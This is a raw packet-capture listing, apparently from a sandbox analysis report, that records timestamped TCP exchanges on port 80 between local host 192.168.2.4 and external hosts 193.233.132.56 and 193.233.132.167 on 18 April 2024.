Apr 18, 2024 23:40:05.374053955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374087095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374121904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374157906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374169111 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374169111 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374169111 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374191999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374227047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374244928 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374244928 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374263048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374289036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374300957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374309063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374336004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374370098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374376059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374376059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374406099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374414921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374442101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374478102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374484062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374484062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374512911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374547005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374567986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374567986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374583006 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.374722004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.374722004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.387171030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.387269020 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.392779112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.392822027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.392854929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.392858982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.392882109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.392898083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.393018961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.393210888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398618937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398658991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398689032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398694038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398710966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398731947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398746967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398768902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398787975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398806095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398813009 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398843050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398858070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398894072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.398900032 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.398942947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.617599964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.617690086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622720003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622759104 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622796059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622807026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622807026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622833014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622868061 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622875929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622875929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622904062 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622911930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622942924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622977972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.622980118 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.622992039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623013973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623054028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623054028 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623068094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623106003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623116970 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623142004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623178005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623214006 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623230934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623231888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623231888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623250008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623284101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623318911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623322964 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623322964 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623322964 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623353958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623389959 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623424053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623435020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623435020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623435020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623459101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623493910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623528004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623538017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623538017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623538017 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623563051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623578072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623598099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623632908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623670101 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623682022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623682022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623682022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623706102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623790979 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623802900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623838902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623857021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623857021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623874903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623903990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623909950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623944998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.623961926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623961926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.623980999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624016047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624051094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624064922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624064922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624064922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624084949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624150991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624172926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624172926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624186993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624222994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624252081 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624252081 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624258041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624296904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624309063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624309063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624331951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624366999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624386072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624386072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624403000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624438047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.624444008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624495983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.624495983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.637840033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.637921095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643232107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643285036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643294096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643321991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643348932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643357992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643394947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643414974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643429995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643465042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643484116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643501043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643527985 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643537998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643553972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643574953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643589973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643610954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643630981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643646002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643681049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643697977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643717051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643740892 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643753052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643763065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643789053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643805027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643826962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643841028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643863916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643876076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643899918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643914938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643937111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643944979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.643973112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.643995047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644009113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644018888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644045115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644064903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644082069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644088030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644134998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644157887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644171953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644176006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644208908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644223928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644244909 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644253969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644280910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644304037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644315958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644341946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644354105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644360065 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644390106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644402027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644426107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644438982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644464970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644500017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644500017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644522905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644536972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644542933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644572973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644586086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644608974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644624949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644644022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644676924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644680977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644699097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644717932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644726992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644754887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644762993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644789934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644805908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644826889 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644862890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644876003 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644876957 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644900084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644906998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644937038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644948959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.644973040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.644987106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645009995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645025015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645092010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645111084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645129919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645150900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645167112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645176888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645203114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645215988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645239115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645253897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645276070 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645291090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645312071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645337105 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645348072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645356894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645384073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645407915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645420074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645426989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645456076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645469904 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645493031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645504951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645529032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645543098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645565033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645572901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645602942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645612001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645638943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645658016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645674944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645683050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645710945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645724058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645746946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645760059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645785093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645801067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645821095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645831108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645858049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645867109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645895004 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645906925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645931005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645944118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.645967960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.645982981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646003962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646018982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646040916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646059036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646076918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646095991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646116018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646116018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646156073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646166086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646193027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646205902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646230936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646244049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646266937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646277905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646302938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646316051 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646341085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646349907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646375895 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646390915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646413088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646420956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646450043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646469116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646486998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646492958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646523952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646533966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646560907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646570921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646612883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.646614075 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:05.646651030 CEST	80	49739	193.233.132.167	192.168.2.4
